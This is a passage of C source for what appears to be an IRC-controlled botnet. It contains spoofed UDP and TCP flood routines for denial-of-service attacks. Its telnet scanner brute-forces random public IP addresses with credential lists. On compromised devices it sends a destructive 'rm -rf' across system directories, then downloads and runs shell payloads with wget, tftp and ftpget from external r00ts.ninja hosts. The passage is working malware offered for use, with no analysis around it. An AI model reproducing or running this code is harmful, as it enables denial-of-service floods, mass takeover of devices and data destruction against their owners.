1344 | Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan); | |
1345 | return; | |
1346 | } | |
1347 | ||
1348 | unsigned char *buf = (unsigned char *)malloc(packetsize + 1); | |
1349 | if(buf == NULL) return; | |
1350 | memset(buf, 0, packetsize + 1); | |
1351 | makeRandomStr(buf, packetsize); | |
1352 | ||
1353 | int end = time(NULL) + timeEnd; | |
1354 | register unsigned int i = 0; | |
1355 | register unsigned int ii = 0; | |
1356 | int argc; | |
1357 | char **argv; | |
1358 | Send(sock,"PRIVMSG %s :7[QUDP] Flooding [%s:%s] (%s Secs)\n",chan, argv[1], atoi(argv[2]), atoi(argv[3])); | |
1359 | while(1) | |
1360 | { | |
1361 | sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
1362 | ||
1363 | if(i == pollRegister) | |
1364 | { | |
1365 | if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
1366 | if(time(NULL) > end) break; | |
1367 | i = 0; | |
1368 | continue; | |
1369 | } | |
1370 | i++; | |
1371 | if(ii == sleepcheck) | |
1372 | { | |
1373 | usleep(sleeptime*1000); | |
1374 | ii = 0; | |
1375 | continue; | |
1376 | } | |
1377 | ii++; | |
1378 | } | |
1379 | } else { | |
1380 | int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); | |
1381 | if(!sockfd) | |
1382 | { | |
1383 | Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan); | |
1384 | return; | |
1385 | } | |
1386 | ||
1387 | int tmp = 1; | |
1388 | if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) | |
1389 | { | |
1390 | Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan); | |
1391 | return; | |
1392 | } | |
1393 | ||
1394 | int counter = 50; | |
1395 | while(counter--) | |
1396 | { | |
1397 | srand(time(NULL) ^ rand_cmwc()); | |
1398 | init_rand(rand()); | |
1399 | } | |
1400 | ||
1401 | in_addr_t netmask; | |
1402 | ||
1403 | if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); | |
1404 | else netmask = ( ~((1 << (32 - spoofit)) - 1) ); | |
1405 | ||
1406 | unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize]; | |
1407 | struct iphdr *iph = (struct iphdr *)packet; | |
1408 | struct udphdr *udph = (void *)iph + sizeof(struct iphdr); | |
1409 | ||
1410 | makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize); | |
1411 | ||
1412 | udph->len = htons(sizeof(struct udphdr) + packetsize); | |
1413 | udph->source = rand_cmwc(); | |
1414 | udph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
1415 | udph->check = 0; | |
1416 | ||
1417 | makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize); | |
1418 | ||
1419 | iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
1420 | ||
1421 | int end = time(NULL) + timeEnd; | |
1422 | register unsigned int i = 0; | |
1423 | register unsigned int ii = 0; | |
1424 | while(1) | |
1425 | { | |
1426 | sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
1427 | ||
1428 | udph->source = rand_cmwc(); | |
1429 | udph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
1430 | iph->id = rand_cmwc(); | |
1431 | iph->saddr = htonl( getRandomIP(netmask) ); | |
1432 | iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
1433 | ||
1434 | if(i == pollRegister) | |
1435 | { | |
1436 | if(time(NULL) > end) break; | |
1437 | i = 0; | |
1438 | continue; | |
1439 | } | |
1440 | i++; | |
1441 | ||
1442 | if(ii == sleepcheck) | |
1443 | { | |
1444 | usleep(sleeptime*1000); | |
1445 | ii = 0; | |
1446 | continue; | |
1447 | } | |
1448 | ii++; | |
1449 | } | |
1450 | int argc; | |
1451 | char **argv; | |
1452 | Send(sock,"PRIVMSG %s :7[QUDP] Flood On [%s:%s] Finished!\n",chan, argv[1], atoi(argv[2])); | |
1453 | } | |
1454 | } | |
1455 | void sendJUNK(unsigned char *ip, int port, int end_time) | |
1456 | { | |
1457 | ||
1458 | int max = getdtablesize() / 2, i; | |
1459 | ||
1460 | struct sockaddr_in dest_addr; | |
1461 | dest_addr.sin_family = AF_INET; | |
1462 | dest_addr.sin_port = htons(port); | |
1463 | if(getHost(ip, &dest_addr.sin_addr)) return; | |
1464 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
1465 | ||
1466 | struct state_t | |
1467 | { | |
1468 | int fd; | |
1469 | uint8_t state; | |
1470 | } fds[max]; | |
1471 | memset(fds, 0, max * (sizeof(int) + 1)); | |
1472 | ||
1473 | fd_set myset; | |
1474 | struct timeval tv; | |
1475 | socklen_t lon; | |
1476 | int valopt, res; | |
1477 | ||
1478 | unsigned char *watwat = malloc(8192); | |
1479 | memset(watwat, 0, 8192); | |
1480 | int packetLen = 1024; | |
1481 | ||
1482 | int end = time(NULL) + end_time; | |
1483 | while(end > time(NULL)) | |
1484 | { | |
1485 | for(i = 0; i < max; i++) | |
1486 | { | |
1487 | switch(fds[i].state) | |
1488 | { | |
1489 | case 0: | |
1490 | { | |
1491 | fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); | |
1492 | fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); | |
1493 | if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd); | |
1494 | else fds[i].state = 1; | |
1495 | } | |
1496 | break; | |
1497 | ||
1498 | case 1: | |
1499 | { | |
1500 | FD_ZERO(&myset); | |
1501 | FD_SET(fds[i].fd, &myset); | |
1502 | tv.tv_sec = 0; | |
1503 | tv.tv_usec = 10000; | |
1504 | res = select(fds[i].fd+1, NULL, &myset, NULL, &tv); | |
1505 | if(res == 1) | |
1506 | { | |
1507 | lon = sizeof(int); | |
1508 | getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); | |
1509 | if(valopt) | |
1510 | { | |
1511 | close(fds[i].fd); | |
1512 | fds[i].state = 0; | |
1513 | } else { | |
1514 | fds[i].state = 2; | |
1515 | } | |
1516 | } else if(res == -1) | |
1517 | { | |
1518 | close(fds[i].fd); | |
1519 | fds[i].state = 0; | |
1520 | } | |
1521 | } | |
1522 | break; | |
1523 | ||
1524 | case 2: | |
1525 | { | |
1526 | ||
1527 | packetLen = realrand(32, 8192); | |
1528 | makeRandomShit(watwat, packetLen); | |
1529 | if(send(fds[i].fd, watwat, packetLen, MSG_NOSIGNAL) == -1 && errno != EAGAIN) | |
1530 | { | |
1531 | close(fds[i].fd); | |
1532 | fds[i].state = 0; | |
1533 | } | |
1534 | } | |
1535 | break; | |
1536 | } | |
1537 | } | |
1538 | } | |
1539 | } | |
1540 | ||
1541 | char *junk(int sock, char *sender, int argc, char **argv) { | |
1542 | if(argc < 3 || atoi(argv[3]) < 0) { | |
1543 | Send(sock, "PRIVMSG %s :7[JUNK] <ip> <port> <time>\n", chan); | |
1544 | return; | |
1545 | } | |
1546 | if(mfork(sender) != 0) return; | |
1547 | Send(sock, "PRIVMSG %s :7[JUNK] flooding %s:%s\n", chan, argv[1], argv[2]); | |
1548 | sendJUNK(argv[1], atoi(argv[2]), atoi(argv[3])); | |
1549 | } | |
1550 | ||
1551 | void sendHOLD(unsigned char *ip, int port, int end_time) | |
1552 | { | |
1553 | ||
1554 | int max = getdtablesize() / 2, i; | |
1555 | ||
1556 | struct sockaddr_in dest_addr; | |
1557 | dest_addr.sin_family = AF_INET; | |
1558 | dest_addr.sin_port = htons(port); | |
1559 | if(getHost(ip, &dest_addr.sin_addr)) return; | |
1560 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
1561 | ||
1562 | struct state_t | |
1563 | { | |
1564 | int fd; | |
1565 | uint8_t state; | |
1566 | } fds[max]; | |
1567 | memset(fds, 0, max * (sizeof(int) + 1)); | |
1568 | ||
1569 | fd_set myset; | |
1570 | struct timeval tv; | |
1571 | socklen_t lon; | |
1572 | int valopt, res; | |
1573 | ||
1574 | int end = time(NULL) + end_time; | |
1575 | while(end > time(NULL)) | |
1576 | { | |
1577 | for(i = 0; i < max; i++) | |
1578 | { | |
1579 | switch(fds[i].state) | |
1580 | { | |
1581 | case 0: | |
1582 | { | |
1583 | fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); | |
1584 | fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); | |
1585 | if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd); | |
1586 | else fds[i].state = 1; | |
1587 | } | |
1588 | break; | |
1589 | ||
1590 | case 1: | |
1591 | { | |
1592 | FD_ZERO(&myset); | |
1593 | FD_SET(fds[i].fd, &myset); | |
1594 | tv.tv_sec = 0; | |
1595 | tv.tv_usec = 10000; | |
1596 | res = select(fds[i].fd+1, NULL, &myset, NULL, &tv); | |
1597 | if(res == 1) | |
1598 | { | |
1599 | lon = sizeof(int); | |
1600 | getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); | |
1601 | if(valopt) | |
1602 | { | |
1603 | close(fds[i].fd); | |
1604 | fds[i].state = 0; | |
1605 | } else { | |
1606 | fds[i].state = 2; | |
1607 | } | |
1608 | } else if(res == -1) | |
1609 | { | |
1610 | close(fds[i].fd); | |
1611 | fds[i].state = 0; | |
1612 | } | |
1613 | } | |
1614 | break; | |
1615 | ||
1616 | case 2: | |
1617 | { | |
1618 | FD_ZERO(&myset); | |
1619 | FD_SET(fds[i].fd, &myset); | |
1620 | tv.tv_sec = 0; | |
1621 | tv.tv_usec = 10000; | |
1622 | res = select(fds[i].fd+1, NULL, NULL, &myset, &tv); | |
1623 | if(res != 0) | |
1624 | { | |
1625 | close(fds[i].fd); | |
1626 | fds[i].state = 0; | |
1627 | } | |
1628 | } | |
1629 | break; | |
1630 | } | |
1631 | } | |
1632 | } | |
1633 | } | |
1634 | ||
1635 | char *hold(int sock, char *sender, int argc, char **argv) { | |
1636 | if(argc < 3 || atoi(argv[3]) < 0) { | |
1637 | Send(sock, "PRIVMSG %s :7[HOLD] <ip> <port> <time>\n", chan); | |
1638 | return; | |
1639 | } | |
1640 | if(mfork(sender) != 0) return; | |
1641 | Send(sock, "PRIVMSG %s :7[HOLD] flooding [%s:%s]\n", chan, argv[1], argv[2]); | |
1642 | sendHOLD(argv[1], atoi(argv[2]), atoi(argv[3])); | |
1643 | } | |
1644 | void udpbiatch(int sock, char *sender, int argc, char **argv) | |
1645 | { | |
1646 | if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > maxSTDpacketsize || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) | |
1647 | { | |
1648 | Send(sock,"PRIVMSG %s :7[QUDP] <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>\n",chan); | |
1649 | return; | |
1650 | } | |
1651 | if (atoi(argv[3]) > maxtime) | |
1652 | { | |
1653 | Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime); | |
1654 | exit(1); | |
1655 | } | |
1656 | if (atoi(argv[5]) > maxSTDpacketsize) | |
1657 | { | |
1658 | Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize); | |
1659 | exit(1); | |
1660 | } | |
1661 | unsigned char *ip = argv[1]; | |
1662 | int port = atoi(argv[2]); | |
1663 | int time = atoi(argv[3]); | |
1664 | int spoofed = atoi(argv[4]); | |
1665 | int packetsize = atoi(argv[5]); | |
1666 | int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000); | |
1667 | int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000); | |
1668 | int sleeptime = (argc > 8 ? atoi(argv[8]) : 0); | |
1669 | ||
1670 | if(strstr(ip, ",") != NULL) | |
1671 | { | |
1672 | unsigned char *hi = strtok(ip, ","); | |
1673 | while(hi != NULL) | |
1674 | { | |
1675 | if(!listFork()) | |
1676 | { | |
1677 | sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime); | |
1678 | _exit(0); | |
1679 | } | |
1680 | hi = strtok(NULL, ","); | |
1681 | } | |
1682 | } else { | |
1683 | if (!listFork()){ | |
1684 | sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime); | |
1685 | _exit(0); | |
1686 | } | |
1687 | } | |
1688 | return; | |
1689 | } | |
1690 | ||
1691 | void killall(int sock, char *sender, int argc, char **argv) { | |
1692 | unsigned long i; | |
1693 | for (i=0;i<numpids;i++) { | |
1694 | if (pids[i] != 0 && pids[i] != getpid()) { | |
1695 | if (sender) Send(sock,"PRIVMSG %s :4[KILL] PID DROPPED - [%d]\n",chan,pids[i]); | |
1696 | kill(pids[i],9); | |
1697 | } | |
1698 | } | |
1699 | } | |
1700 | void killd(int sock, char *sender, int argc, char **argv) { | |
1701 | char buf[1024]={0}; | |
1702 | if (disabled == 1) return; | |
1703 | sprintf(buf,"kill -9 %d;kill -9 0",actualparent); | |
1704 | system(buf); | |
1705 | exit(0); | |
1706 | } | |
1707 | void train_ps(int sock, char *sender, int argc, char **argv) { | |
1708 | int match = 0; | |
1709 | unsigned int i; | |
1710 | for (i = 0; i < NUM_ADMINS; i++){ | |
1711 | if (strcasecmp(admins[i], sender) == 0){ | |
1712 | match = 1; | |
1713 | } | |
1714 | } | |
1715 | if(match){ | |
1716 | maxSTDpacketsize = atoi(argv[1]); | |
1717 | Send(sock, "PRIVMSG %s :7PACKETSIZE: Max Packetsize changed to -> %d\n", chan, maxSTDpacketsize); | |
1718 | } else { | |
1719 | Send(sock, "PRIVMSG %s :7PACKETSIZE: You must have admin status to change the Max packetsize!n", chan); | |
1720 | } | |
1721 | } | |
1722 | ||
1723 | void max_bt(int sock, char *sender, int argc, char **argv) { | |
1724 | int match = 0; | |
1725 | unsigned int i; | |
1726 | for (i = 0; i < NUM_ADMINS; i++){ | |
1727 | if (strcasecmp(admins[i], sender) == 0){ | |
1728 | match = 1; | |
1729 | } | |
1730 | } | |
1731 | if(match){ | |
1732 | maxtime = atoi(argv[1]); | |
1733 | Send(sock, "PRIVMSG %s :7BOOT TIME: Max boot time changed to -> %d\n", chan, maxtime); | |
1734 | } else { | |
1735 | Send(sock, "PRIVMSG %s :7BOOT TIME: You must have admin status to change the Max boot time!\n", chan); | |
1736 | } | |
1737 | } | |
1738 | ||
1739 | void max_threads(int sock, char *sender, int argc, char **argv) { | |
1740 | int match = 0; | |
1741 | unsigned int i; | |
1742 | for (i = 0; i < NUM_ADMINS; i++){ | |
1743 | if (strcasecmp(admins[i], sender) == 0){ | |
1744 | match = 1; | |
1745 | } | |
1746 | } | |
1747 | if(match){ | |
1748 | maxthreads = atoi(argv[1]); | |
1749 | Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: Max threads changed to -> %d\n", chan, maxthreads); | |
1750 | } else { | |
1751 | Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: You must have admin status to change the Max threads!\n", chan); | |
1752 | } | |
1753 | } | |
1754 | int negotiate(int sock, unsigned char *buf, int len) { | |
1755 | unsigned char c; | |
1756 | switch (buf[1]) { | |
1757 | case CMD_IAC: return 0; | |
1758 | case CMD_WILL: | |
1759 | case CMD_WONT: | |
1760 | case CMD_DO: | |
1761 | case CMD_DONT: | |
1762 | c = CMD_IAC; | |
1763 | send(sock, &c, 1, MSG_NOSIGNAL); | |
1764 | if (CMD_WONT == buf[1]) c = CMD_DONT; | |
1765 | else if (CMD_DONT == buf[1]) c = CMD_WONT; | |
1766 | else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO); | |
1767 | else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT); | |
1768 | send(sock, &c, 1, MSG_NOSIGNAL); | |
1769 | send(sock, &(buf[2]), 1, MSG_NOSIGNAL); | |
1770 | break; | |
1771 | default: | |
1772 | break; | |
1773 | } | |
1774 | ||
1775 | return 0; | |
1776 | } | |
1777 | ||
1778 | int contains_string(char* buffer, char** strings) { | |
1779 | int num_strings = 0, i = 0; | |
1780 | for(num_strings = 0; strings[++num_strings] != 0; ); | |
1781 | for(i = 0; i < num_strings; i++) { | |
1782 | if(strcasestr(buffer, strings[i])) { | |
1783 | return 1; | |
1784 | } | |
1785 | } | |
1786 | return 0; | |
1787 | } | |
1788 | int contains_success(char* buffer) { | |
1789 | return contains_string(buffer, successes); | |
1790 | } | |
1791 | int contains_fail(char* buffer) { | |
1792 | return contains_string(buffer, fails); | |
1793 | } | |
1794 | int contains_response(char* buffer) { | |
1795 | return contains_success(buffer) || contains_fail(buffer); | |
1796 | } | |
1797 | int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) { | |
1798 | fd_set read_set; | |
1799 | struct timeval tv; | |
1800 | tv.tv_sec = 0; | |
1801 | tv.tv_usec = timeout_usec; | |
1802 | FD_ZERO(&read_set); | |
1803 | FD_SET(fd, &read_set); | |
1804 | if (select(fd+1, &read_set, NULL, NULL, &tv) < 1) | |
1805 | return 0; | |
1806 | return recv(fd, buffer, buf_size, 0); | |
1807 | } | |
1808 | int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) { | |
1809 | int num_bytes, i; | |
1810 | memset(buffer, 0, buf_size); | |
1811 | num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size); | |
1812 | if(buffer[0] == 0xFF) { | |
1813 | negotiate(fd, buffer, 3); | |
1814 | } | |
1815 | ||
1816 | if(contains_string(buffer, strings)) { | |
1817 | return 1; | |
1818 | } | |
1819 | ||
1820 | return 0; | |
1821 | } | |
1822 | const char* get_telstate_host(struct telstate_t* telstate) { // get host | |
1823 | struct in_addr in_addr_ip; | |
1824 | in_addr_ip.s_addr = telstate->ip; | |
1825 | return inet_ntoa(in_addr_ip); | |
1826 | } | |
1827 | void advance_telstate(struct telstate_t* telstate, int new_state) { // advance | |
1828 | if(new_state == 0) { | |
1829 | close(telstate->fd); | |
1830 | } | |
1831 | telstate->tTimeout = 0; | |
1832 | telstate->state = new_state; | |
1833 | memset((telstate->sockbuf), 0, SOCKBUF_SIZE); | |
1834 | } | |
1835 | void reset_telstate(struct telstate_t* telstate) { // reset | |
1836 | advance_telstate(telstate, 0); | |
1837 | telstate->complete = 1; | |
1838 | } | |
1839 | ||
1840 | void uzitelscan(int wait_usec, int maxfds, int sock) { | |
1841 | if(fork() == -1) return; | |
1842 | ||
1843 | int max = getdtablesize() - 100, i, res, num_tmps, j; | |
1844 | ||
1845 | char buf[128], cur_dir; | |
1846 | if (max > maxfds) | |
1847 | max = maxfds; | |
1848 | fd_set fdset; | |
1849 | struct timeval tv; | |
1850 | socklen_t lon; | |
1851 | int valopt; | |
1852 | ||
1853 | char line[256]; | |
1854 | char* buffer; | |
1855 | struct sockaddr_in dest_addr; | |
1856 | dest_addr.sin_family = AF_INET; | |
1857 | dest_addr.sin_port = htons(23); | |
1858 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
1859 | ||
1860 | buffer = malloc(SOCKBUF_SIZE + 1); | |
1861 | memset(buffer, 0, SOCKBUF_SIZE + 1); | |
1862 | ||
1863 | struct telstate_t fds[max]; | |
1864 | ||
1865 | memset(fds, 0, max * (sizeof(int) + 1)); | |
1866 | for(i = 0; i < max; i++) | |
1867 | { | |
1868 | memset(&(fds[i]), 0, sizeof(struct telstate_t)); | |
1869 | fds[i].complete = 1; | |
1870 | fds[i].sockbuf = buffer; | |
1871 | } | |
1872 | while(1) { | |
1873 | for(i = 0; i < max; i++) { | |
1874 | if(fds[i].tTimeout == 0) { | |
1875 | fds[i].tTimeout = time(NULL); | |
1876 | } | |
1877 | switch(fds[i].state) { | |
1878 | case 0: | |
1879 | { | |
1880 | if(fds[i].complete == 1) | |
1881 | { | |
1882 | char *tmp = fds[i].sockbuf; | |
1883 | memset(&(fds[i]), 0, sizeof(struct telstate_t)); | |
1884 | fds[i].sockbuf = tmp; | |
1885 | fds[i].ip = getRandomPublicIP(); | |
1886 | } | |
1887 | else if(fds[i].complete == 0) | |
1888 | { | |
1889 | fds[i].usernameInd++; | |
1890 | fds[i].passwordInd++; | |
1891 | ||
1892 | if(fds[i].passwordInd == sizeof(uzipasswords) / sizeof(char *)) | |
1893 | { | |
1894 | fds[i].complete = 1; | |
1895 | continue; | |
1896 | } | |
1897 | ||
1898 | } | |
1899 | ||
1900 | dest_addr.sin_family = AF_INET; | |
1901 | dest_addr.sin_port = htons(23); | |
1902 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
1903 | dest_addr.sin_addr.s_addr = fds[i].ip; | |
1904 | ||
1905 | fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); | |
1906 | ||
1907 | if(fds[i].fd == -1) continue; | |
1908 | fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); | |
1909 | if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) | |
1910 | { | |
1911 | reset_telstate(&fds[i]); | |
1912 | } | |
1913 | else | |
1914 | { | |
1915 | advance_telstate(&fds[i], 1); | |
1916 | } | |
1917 | } | |
1918 | break; | |
1919 | ||
1920 | case 1: | |
1921 | { | |
1922 | FD_ZERO(&fdset); | |
1923 | FD_SET(fds[i].fd, &fdset); | |
1924 | tv.tv_sec = 0; | |
1925 | tv.tv_usec = wait_usec; | |
1926 | res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv); | |
1927 | ||
1928 | if(res == 1) { | |
1929 | fds[i].tTimeout = 0; | |
1930 | lon = sizeof(int); | |
1931 | valopt = 0; | |
1932 | getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); | |
1933 | if(valopt) | |
1934 | { | |
1935 | reset_telstate(&fds[i]); | |
1936 | } | |
1937 | else | |
1938 | { | |
1939 | fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK)); | |
1940 | advance_telstate(&fds[i], 2); | |
1941 | } | |
1942 | continue; | |
1943 | } | |
1944 | else if(res == -1) | |
1945 | { | |
1946 | reset_telstate(&fds[i]); | |
1947 | continue; | |
1948 | } | |
1949 | if(fds[i].tTimeout + 7 < time(NULL)) | |
1950 | { | |
1951 | reset_telstate(&fds[i]); | |
1952 | } | |
1953 | } | |
1954 | break; | |
1955 | case 2: | |
1956 | { | |
1957 | if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances)) | |
1958 | { | |
1959 | fds[i].tTimeout = time(NULL); | |
1960 | if(contains_fail(fds[i].sockbuf)) | |
1961 | { | |
1962 | advance_telstate(&fds[i], 0); | |
1963 | } | |
1964 | else | |
1965 | { | |
1966 | Send(sock, "PRIVMSG %s :13[UZI] [+] VULN DEVICE ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i])); | |
1967 | advance_telstate(&fds[i], 3); | |
1968 | } | |
1969 | continue; | |
1970 | } | |
1971 | if(fds[i].tTimeout + 7 < time(NULL)) | |
1972 | { | |
1973 | reset_telstate(&fds[i]); | |
1974 | } | |
1975 | } | |
1976 | break; | |
1977 | case 3: | |
1978 | { | |
1979 | if(send(fds[i].fd, uziusernames[fds[i].usernameInd], strlen(uziusernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) | |
1980 | { | |
1981 | reset_telstate(&fds[i]); | |
1982 | continue; | |
1983 | } | |
1984 | if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) | |
1985 | { | |
1986 | reset_telstate(&fds[i]); | |
1987 | continue; | |
1988 | } | |
1989 | Send(sock, "PRIVMSG %s :13[UZI] [+] USERNAME SENT ---> [%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd]); | |
1990 | advance_telstate(&fds[i], 4); | |
1991 | } | |
1992 | break; | |
1993 | case 4: | |
1994 | { | |
1995 | if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances)) | |
1996 | { | |
1997 | fds[i].tTimeout = time(NULL); | |
1998 | if(contains_fail(fds[i].sockbuf)) | |
1999 | { | |
2000 | advance_telstate(&fds[i], 0); | |
2001 | } | |
2002 | else | |
2003 | { | |
2004 | Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD ATTEMPT ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i])); | |
2005 | advance_telstate(&fds[i], 5); | |
2006 | } | |
2007 | continue; | |
2008 | } | |
2009 | if(fds[i].tTimeout + 7 < time(NULL)) | |
2010 | { | |
2011 | reset_telstate(&fds[i]); | |
2012 | } | |
2013 | } | |
2014 | break; | |
2015 | case 5: | |
2016 | { | |
2017 | if(send(fds[i].fd, uzipasswords[fds[i].passwordInd], strlen(uzipasswords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) | |
2018 | { | |
2019 | reset_telstate(&fds[i]); | |
2020 | continue; | |
2021 | } | |
2022 | if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) | |
2023 | { | |
2024 | reset_telstate(&fds[i]); | |
2025 | continue; | |
2026 | } | |
2027 | Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD SENT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]),uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2028 | advance_telstate(&fds[i], 6); | |
2029 | } | |
2030 | break; | |
2031 | case 6: | |
2032 | { | |
2033 | if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) | |
2034 | { | |
2035 | fds[i].tTimeout = time(NULL); | |
2036 | ||
2037 | if(contains_fail(fds[i].sockbuf)) | |
2038 | { | |
2039 | advance_telstate(&fds[i], 0); | |
2040 | } | |
2041 | else if(contains_success(fds[i].sockbuf)) | |
2042 | { | |
2043 | if(fds[i].complete == 2) | |
2044 | { | |
2045 | Send(sock, "PRIVMSG %s :13[UZI] [+] INFECT ATTEMPT DETECTED ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2046 | advance_telstate(&fds[i], 7); | |
2047 | } | |
2048 | } | |
2049 | else | |
2050 | { | |
2051 | reset_telstate(&fds[i]); | |
2052 | } | |
2053 | continue; | |
2054 | } | |
2055 | if(fds[i].tTimeout + 30 < time(NULL)) { | |
2056 | reset_telstate(&fds[i]); | |
2057 | } | |
2058 | } | |
2059 | break; | |
2060 | case 7: | |
2061 | { | |
2062 | if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
2063 | advance_telstate(&fds[i], 8); | |
2064 | } | |
2065 | case 8: | |
2066 | { | |
2067 | fds[i].tTimeout = 0; | |
2068 | if(send(fds[i].fd, "rm -rf /tmp/* /var/* /dev/* /var/run/* /var/tmp/* /dev/shm/* /mnt/* /boot/* /usr/*\r\n", 84, MSG_NOSIGNAL) < 0) { | |
2069 | Send(sock, "PRIVMSG %s :13[UZI] [+] DIRECTORIES CLEARED ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2070 | advance_telstate(&fds[i], 9); | |
2071 | continue; | |
2072 | } | |
2073 | } | |
2074 | case 9: | |
2075 | { | |
2076 | fds[i].tTimeout = time(NULL); | |
2077 | if(send(fds[i].fd, "/bin/busybox wget lol.r00ts.ninja/w.sh || wget lol.r00ts.ninja/w.sh && sh w.sh\r\n", 80, MSG_NOSIGNAL) < 0) { | |
2078 | Send(sock, "PRIVMSG %s :13[UZI] [-] WGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2079 | reset_telstate(&fds[i]); | |
2080 | continue; | |
2081 | } | |
2082 | if(fds[i].tTimeout + 45 < time(NULL)) { | |
2083 | send(fds[i].fd, "/bin/busybox tftp tftp.r00ts.ninja -c get u.sh && /bin/busybox tftp -r u.sh -g tftp.r00ts.ninja || tftp tftp.r00ts.ninja -c get u.sh && tftp -r u.sh -g tftp.r00ts.ninja && sh u.sh && bash u.sh\r\n", 194, MSG_NOSIGNAL); | |
2084 | Send(sock, "PRIVMSG %s :13[UZI] [-] TFTP PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2085 | reset_telstate(&fds[i]); | |
2086 | } | |
2087 | if(fds[i].tTimeout + 45 < time(NULL)) { | |
2088 | send(fds[i].fd, "ftpget -v -u anonymous -p anonymous -P 21 21ftp.r00ts.ninja f1.sh && sh ftp1.sh\r\n", 81, MSG_NOSIGNAL); | |
